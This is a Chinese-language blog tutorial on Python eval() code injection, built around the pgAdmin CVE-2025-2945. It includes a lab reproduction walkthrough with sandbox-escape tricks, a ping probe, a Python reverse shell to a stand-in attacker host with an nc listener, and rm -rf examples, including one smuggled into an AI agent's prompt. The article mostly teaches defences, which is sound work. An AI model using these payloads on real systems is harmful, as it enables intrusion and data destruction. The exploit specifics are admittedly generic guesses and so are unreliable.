Python eval()函数安全风险深度解析:从CVE-2025-2945漏洞看代码注入防御

发布时间:2026/6/24 4:28:02

Python eval()函数安全风险深度解析:从CVE-2025-2945漏洞看代码注入防御 1. 项目概述一次由eval()引发的安全风暴最近安全圈里有个事儿挺火的一个编号为CVE-2025-2945的漏洞把pgAdmin这个老牌的PostgreSQL管理工具推上了风口浪尖。简单来说这个漏洞的根源指向了Python里一个让开发者又爱又恨的内置函数——eval()。我干了这么多年开发和安全研究见过太多因为滥用eval()而引发的安全事件这次pgAdmin的案例可以说是教科书级别的反面教材。它不仅仅是一个需要打补丁的漏洞更像是一记响亮的警钟提醒我们每一个开发者在追求功能便捷的同时绝不能对安全有丝毫的松懈。这个漏洞的核心是攻击者能够通过精心构造的输入在pgAdmin的后台服务器上执行任意Python代码。想象一下你作为一个数据库管理员正用pgAdmin舒舒服服地管理着公司的核心数据却因为工具本身的一个缺陷让攻击者拿到了服务器的控制权这后果有多严重数据泄露、服务瘫痪、甚至成为攻击内网的跳板都是分分钟的事。而这一切的始作俑者很可能就是一段本不该出现的、对用户输入未经严格过滤就直接丢给eval()的代码。所以我们今天不光是来“看热闹”复现这个漏洞的更重要的是要“看门道”。我会带你一步步拆解CVE-2025-2945的成因在可控的测试环境中亲手复现它让你直观感受漏洞的威力。更重要的是我们要深入探讨eval()这个函数到底“坑”在哪以及在实际编码中我们有哪些更安全、更优雅的方案可以彻底避开这个“坑”。无论你是刚入门Python的新手还是有一定经验的开发者理解这次事件背后的安全逻辑对你写出更健壮、更可靠的代码都至关重要。2. 漏洞核心CVE-2025-2945技术原理深度拆解要理解这个漏洞我们得先回到eval()函数本身。eval()是Python的一个内置函数它的作用是把一个字符串当成有效的Python表达式来求值并返回结果。听起来很强大对吧比如你写eval(“11”)它会返回2。问题就出在这个“把字符串当代码执行”的能力上。如果这个字符串的来源是用户输入并且没有经过任何过滤那么用户理论上可以输入任何Python代码eval()都会老老实实地执行。在CVE-2025-2945这个案例中pgAdmin的某个功能端点通常与数据导入、导出或某些高级查询特性相关在处理用户提交的参数时直接或间接地将参数内容传递给了eval()。攻击者要做的就是构造一个特殊的字符串这个字符串不再是普通的数据而是一段恶意的Python代码。2.1 攻击载荷Payload的构造逻辑攻击者构造的payload通常不是简单的os.system(‘rm -rf /’)这么直白虽然原理相通。在真实的绕过和利用中payload会更具隐蔽性和针对性。一个典型的利用链可能长这样寻找入口点攻击者首先需要找到一个前端可以传入参数并且后端会使用eval()处理该参数的功能点。在pgAdmin中这可能隐藏在某个“自定义脚本”、“动态查询”或“模板渲染”功能里。构造代码字符串攻击者不会直接提交import os; os.system(‘whoami’)。因为防御代码可能会检查字符串里是否有import、os、system等危险关键词。所以他们会使用Python的各种技巧来绕过过滤字符串拼接与编码比如__import__(‘o’’s’).system(‘id’)将’os’拆开拼接。使用内置属性Python的__builtins__模块提供了所有内置函数。攻击者可以通过__builtins__.__import__(‘os’).system(‘命令’)来调用。利用字符属性甚至可以通过().__class__.__bases__[0].__subclasses__()这样的方式遍历到所有已加载的类最终找到并调用os模块。实现远程代码执行RCE最终无论怎么变形payload的目的都是执行系统命令。一旦eval()执行了这样的字符串攻击者就能在运行pgAdmin服务的服务器上以Web服务进程的权限通常是www-data、postgres或某个普通用户执行任意命令。这意味着他们可以读取文件、写入Webshell、反弹Shell到自己的服务器或者进行内网横向移动。注意在真实漏洞利用中攻击载荷的构造是一门“艺术”需要根据目标代码的具体过滤逻辑进行变形。上述例子仅为原理性说明。绝对禁止在非授权系统上进行任何测试。2.2 为什么pgAdmin会中招这就要说到开发中的“便利性陷阱”。eval()用起来太方便了。假设有一个功能允许用户输入一个简单的Python表达式来对查询结果进行动态计算或格式化。比如用户输入row[‘price’] * 1.1来给所有价格加10%的税。开发者图省事直接result eval(user_input, {‘row’: row})心想我只给了row这个命名空间应该安全吧但问题在于Python的沙箱环境极其脆弱。即使你限制了全局和局部命名空间攻击者依然可能通过上面提到的各种魔法方法Magic Methods和内置属性逃逸出来访问到他们本不该访问的模块和函数。pgAdmin的这个漏洞很可能就是源于某个类似场景下对eval()的使用过于自信而忽略了其固有的危险性。3. 环境搭建与漏洞复现实操郑重声明本节所有操作仅限用于个人学习、研究以及在完全可控的本地或授权测试环境如Vulhub、DVWA等靶场中进行。任何未授权的攻击行为都是非法且不道德的。请务必遵守法律法规。为了真正理解漏洞的危害我们最好在隔离的环境中亲手复现它。这里我推荐使用Vulhub这个优秀的漏洞靶场集成环境。它已经集成了大量已知漏洞的复现环境一键启动非常适合学习和研究。3.1 靶场环境准备首先你需要一个安装了Docker和Docker Compose的Linux或macOS系统Windows通过WSL2也可。获取Vulhubgit clone https://github.com/vulhub/vulhub.git cd vulhub寻找并进入pgAdmin漏洞目录Vulhub的漏洞是按应用分类的。你需要找到pgAdmin目录下对应CVE-2025-2945的漏洞环境。如果Vulhub官方尚未收录此CVE你可能需要等待更新或者根据公开的漏洞详情自行构建一个简化的复现环境。这里我们假设目录为pgadmin/CVE-2025-2945。cd pgadmin/CVE-2025-2945启动漏洞环境docker-compose up -d这个命令会拉取镜像并启动一个包含漏洞版本的pgAdmin容器。启动完成后通常可以通过http://your-test-ip:5050访问到pgAdmin的登录界面。3.2 漏洞复现步骤详解由于CVE-2025-2945的具体利用细节可能因pgAdmin版本和补丁情况而异以下步骤是一个基于eval()类漏洞的通用复现思路。请务必以实际漏洞公告和PoC概念验证代码为准。信息收集访问靶场地址记录pgAdmin的版本号。查看其公开的接口或功能页面。定位脆弱端点根据漏洞描述找到存在问题的功能端点。这可能需要结合源代码审计或模糊测试Fuzzing。例如可能是某个名为/execute_script、/evaluate或/import的API接口。构造并发送恶意请求使用Burp Suite、Postman或curl工具向该端点发送HTTP请求通常是POST请求。在请求参数中插入我们精心构造的payload。一个最简单的测试payload用于验证是否存在代码执行__import__(‘os’).system(‘ping -c 1 your-attacker-ip’)。如果你在自己的攻击机上用tcpdump或Wireshark监听到ICMP回显请求就证明命令执行成功了。一个更实用的payload反弹Shell如果目标服务器能出网可以尝试反弹一个Shell到你的监听端口。例如使用Python反弹Shell# 将以下代码进行适当的字符串转义和拼接作为payload import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((your-attacker-ip,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);在你的攻击机上用nc -lvnp 4444监听。验证与利用如果请求成功你将在攻击机上收到来自目标服务器的连接并获得一个Shell。此时你可以执行id、whoami、pwd等命令来验证权限并进一步探索服务器。实操心得在复现这类RCE漏洞时第一步的“探针”payload最好用sleep、ping或curl这种能产生外部网络交互且破坏性小的命令。比如__import__(‘time’).sleep(10)如果页面响应延迟了10秒就基本可以断定存在代码执行。这比直接执行rm或cat /etc/passwd要安全得多也更容易被靶场环境所允许。3.3 复现后的清理实验结束后务必关闭并清理环境释放资源。# 在漏洞环境目录下执行 docker-compose down # 如果想彻底删除镜像可以加上 -v 和 --rmi all 参数但请谨慎操作 # docker-compose down -v --rmi all4. 深入剖析Python eval() 的“罪与罚”复现了漏洞我们感受到了它的威力。现在让我们静下心来好好审判一下eval()这个“罪魁祸首”。它的“罪”到底在哪里为什么安全专家们对它口诛笔伐4.1 eval() 的设计初衷与安全本质矛盾eval()的设计初衷是为了动态执行代码这在某些特定场景下非常有用比如数学表达式计算器用户输入“3 * sin(pi/4)”程序直接求值。简单的配置逻辑在配置文件中用字符串定义一些简单的判断逻辑。原型开发与调试快速测试一小段代码逻辑。它的“罪”在于它将“数据”和“代码”的边界彻底模糊了。在安全领域有一条基本原则永远不要信任用户输入。用户输入应该始终被视为“数据”。而eval()却把用户输入当成了“代码”来执行。这个根本性的矛盾使得只要用户输入能够以某种方式触及eval()就埋下了一颗定时炸弹。4.2 为什么说“沙箱”靠不住很多开发者会想那我给eval()提供一个受限的命名空间不就好了比如eval(user_input, {‘__builtins__’: None}, {})理论上这禁用了内置函数。但Python的灵活性或者说复杂性让沙箱逃逸成为可能。攻击者可以通过对象原型链__class__,__bases__,__subclasses__、特殊属性__globals__、甚至异常处理等机制像“越狱”一样一步步突破限制最终重新获取到__builtins__或os模块。历史上Python社区出现过多个试图创建安全沙箱的模块如rexec、bastion但它们都因为发现新的逃逸方法而被弃用。这几乎宣告了在Python中构建一个通用的、绝对安全的eval()沙箱是不可能的任务。4.3 与exec()、pickle等危险函数的对比eval()不是孤例它的“兄弟”exec()用于执行更复杂的代码块危险性更高。此外反序列化函数pickle.loads()同样危险它允许序列化的对象在反序列化时执行任意代码。它们的共同点是将外部输入字符串或字节流转换为可执行的对象或代码。函数/模块主要用途核心风险典型漏洞模式eval()求值表达式返回结果执行任意Python表达式eval(user_input)exec()执行代码块语句无返回值执行任意Python代码exec(user_input)pickle对象序列化与反序列化反序列化时触发__reduce__等魔术方法执行代码pickle.loads(user_data)yaml.load()解析YAML格式使用FullLoader时可实例化任意Python类yaml.load(user_yaml, Loaderyaml.FullLoader)marshalPython内部对象序列化不推荐用于持久化与pickle类似但格式不保证稳定marshal.loads(user_data)它们的危险性是一个量级的。安全编码的第一条军规就是除非有压倒性的、不可替代的理由并且有万无一失的输入过滤和沙箱隔离否则绝对不要使用它们来处理任何来自外部的、不可信的数据。5. 安全编码实践彻底抛弃eval()的替代方案那么在实际开发中当我们遇到原本想用eval()的场景时该怎么办答案是寻找更安全、更精确的替代方案。下面我分享几个最常见的场景和对应的安全实践。5.1 场景一数学表达式计算需求用户输入“2 3 * (sin(pi/2))”需要计算出结果。危险做法import math user_input “2 3 * (math.sin(math.pi/2))” result eval(user_input) # 致命危险安全方案1使用ast.literal_eval()仅限常量如果表达式只包含数字、字符串、列表、元组、字典、布尔值和None可以使用ast.literal_eval()。它是安全的因为它只评估字面量不执行函数或方法。import ast safe_input “[1, 2, 3]” result ast.literal_eval(safe_input) # 安全result [1, 2, 3] # 但对于 “23” 或 “math.sin(0)”它会抛出 SyntaxError安全方案2使用专用库如numexpr、simpleeval对于数学表达式有现成的、安全的库。# 使用 simpleeval from simpleeval import simple_eval, NameNotDefined user_input “2 3 * x” try: # 可以安全地提供自定义的变量和函数 result simple_eval( user_input, names{‘x’: 5, ‘pi’: 3.14159}, # 允许使用的变量 functions{‘sin’: math.sin} # 允许使用的函数 ) print(result) # 输出 17.0 except NameNotDefined: print(“表达式中包含了未授权的名称”)simpleeval库默认只允许白名单内的函数和变量且经过精心设计以防止沙箱逃逸是替代eval()进行表达式计算的绝佳选择。5.2 场景二动态执行配置或逻辑需求根据配置文件中的字符串条件动态决定程序行为。例如配置为“env ‘production’ and count 100”。危险做法condition config.get(‘condition’) if eval(condition, {‘env’: env, ‘count’: count}): do_something()安全方案使用规则引擎或解析器对于复杂的业务逻辑应该使用专门的规则引擎。# 示例使用 pyparsing 或类似的解析库自定义一个微型DSL领域特定语言 # 或者使用现成的规则引擎如 durable_rules from durable import rules rules.when_all((rules.m.subject ‘event’) (rules.m.env ‘production’) (rules.m.count 100)) def high_traffic_alert(c): print(‘触发高流量警报’) # 触发规则 rules.post(‘event’, {‘env’: ‘production’, ‘count’: 150})这种方法将逻辑的定义和执行分离配置只是数据由引擎的安全解释器来执行从根本上杜绝了代码注入。5.3 场景三动态导入模块或调用函数需求根据字符串‘json’来导入json模块或者根据字符串‘my_package.my_module.my_function’来调用函数。危险做法module_name input(“请输入模块名: “) module eval(f”__import__(‘{module_name}’)”) # 极度危险安全方案使用importlib和getattrPython的标准库已经提供了安全的动态导入和反射机制。import importlib # 安全地导入模块 module_name ‘json’ # 假设来自可信的配置源而非直接用户输入 if module_name in [‘json’, ‘csv’, ‘os’]: # 白名单校验 module importlib.import_module(module_name) else: raise ValueError(f”不允许导入模块: {module_name}”) # 安全地调用函数 func_name ‘loads’ if hasattr(module, func_name): func getattr(module, func_name) result func(‘{}’)关键点在于白名单控制。你必须明确知道允许导入的模块或允许调用的函数列表并对用户输入进行严格匹配。5.4 通用防御策略总结输入验证与白名单这是第一道也是最重要的防线。对于任何来自外部的输入都必须进行严格的验证。对于需要动态执行的“指令”应将其约束在一个预定义的白名单内。例如只允许[‘sin’, ‘cos’, ‘log’, ‘sqrt’]这些函数名。使用安全替代库如上所述用ast.literal_eval()、simpleeval、numexpr等经过安全审计的库来替代eval()。代码审查在团队中建立严格的代码审查制度将eval()、exec()、pickle.loads()处理不可信数据时等函数加入“高危关键字”清单任何使用都必须经过充分的安全论证和评审。静态代码分析SAST在CI/CD流水线中集成静态应用安全测试工具如Bandit for Python自动扫描代码库中的危险函数使用。最小权限原则运行Web应用或服务的进程应该使用权限最低的系统用户如www-data、nobody并严格控制其文件系统访问权限和网络访问权限。这样即使被RCE攻击者能造成的破坏也相对有限。6. 从漏洞复现到安全加固的思维转变复现一个漏洞就像做一次解剖目的是了解病毒的致病机理。CVE-2025-2945给我们上的最重要的一课不是“怎么利用eval()”而是“为什么我们当初会写出含有eval()的代码”。很多时候使用eval()是出于“快”和“方便”的考虑。一个功能急着上线用eval()三行代码就能搞定动态逻辑何必去写一个复杂的解析器呢这种思维是技术债务和安全漏洞的温床。作为开发者我们需要完成一次思维上的升级从“功能实现”思维到“安全设计”思维在写第一行代码之前就考虑数据流向。哪些是可信的哪些是不可信的不可信的数据会在哪些环节被处理拥抱“麻烦”安全的方案往往比不安全的方案更“麻烦”。你需要定义白名单、引入新的库、编写更多的解析代码。但正是这些“麻烦”构成了你应用的免疫系统。持续学习与警惕安全威胁在不断演化。今天安全的库明天可能爆出新漏洞。保持对安全动态的关注定期更新依赖参加安全培训是每个开发者的必修课。回到pgAdmin这个案例漏洞的修复补丁一定会做两件事1. 移除或重写那个调用了eval()的代码段2. 对相关功能的输入进行严格的过滤和校验。这背后是开发团队对安全认知的深化和工程实践的改进。7. 拓展思考自动化Agent与eval()的新风险最近AI Agent非常火很多框架允许用户用自然语言描述任务Agent将其转化为代码通常是Python并执行。这本质上是一个高度动态的代码生成与执行环境。想象一个场景你开发了一个数据分析Agent用户可以说“帮我计算最近一个月销售额的方差”。Agent可能会在后台生成一段包含np.var()的Python代码然后用什么来执行它如果这个执行引擎设计不当直接使用了eval()或exec()那么一个恶意的用户提示就可能变成“帮我计算销售额顺便__import__(‘os’).system(‘rm -rf /’)”。这对Agent系统的开发者提出了更高的安全挑战执行沙箱的绝对安全需要一个比传统应用更坚固的隔离环境可能涉及容器化、微虚拟机甚至硬件隔离。严格的权限控制Agent执行代码的权限必须被精确限定比如只能访问特定的内存空间、文件目录和网络端口。代码生成阶段的过滤在LLM生成代码后、执行前需要有一层安全检查对生成的代码进行静态分析识别并阻断危险操作。操作审计与回滚所有执行的代码和产生的结果都必须有完整的日志记录并能对危险操作进行回滚。这不再是简单的“不用eval()”就能解决的问题而是一个系统工程。它要求我们将安全思维贯穿于架构设计、代码生成、运行时环境等每一个环节。CVE-2025-2945像一面镜子照出了便捷性与安全性之间永恒的张力。eval()本身只是一个工具无所谓善恶决定其性质的是使用它的人。每一次我们图省事写下eval()时都应该在心里掂量一下我引入的这个便利值得用整个系统的安全去交换吗绝大多数时候答案都是否定的。希望这次漏洞的剖析和复现能让你在未来的编码中对用户输入多一份敬畏对危险函数多一份警惕从而写出真正让人放心的代码。

相关新闻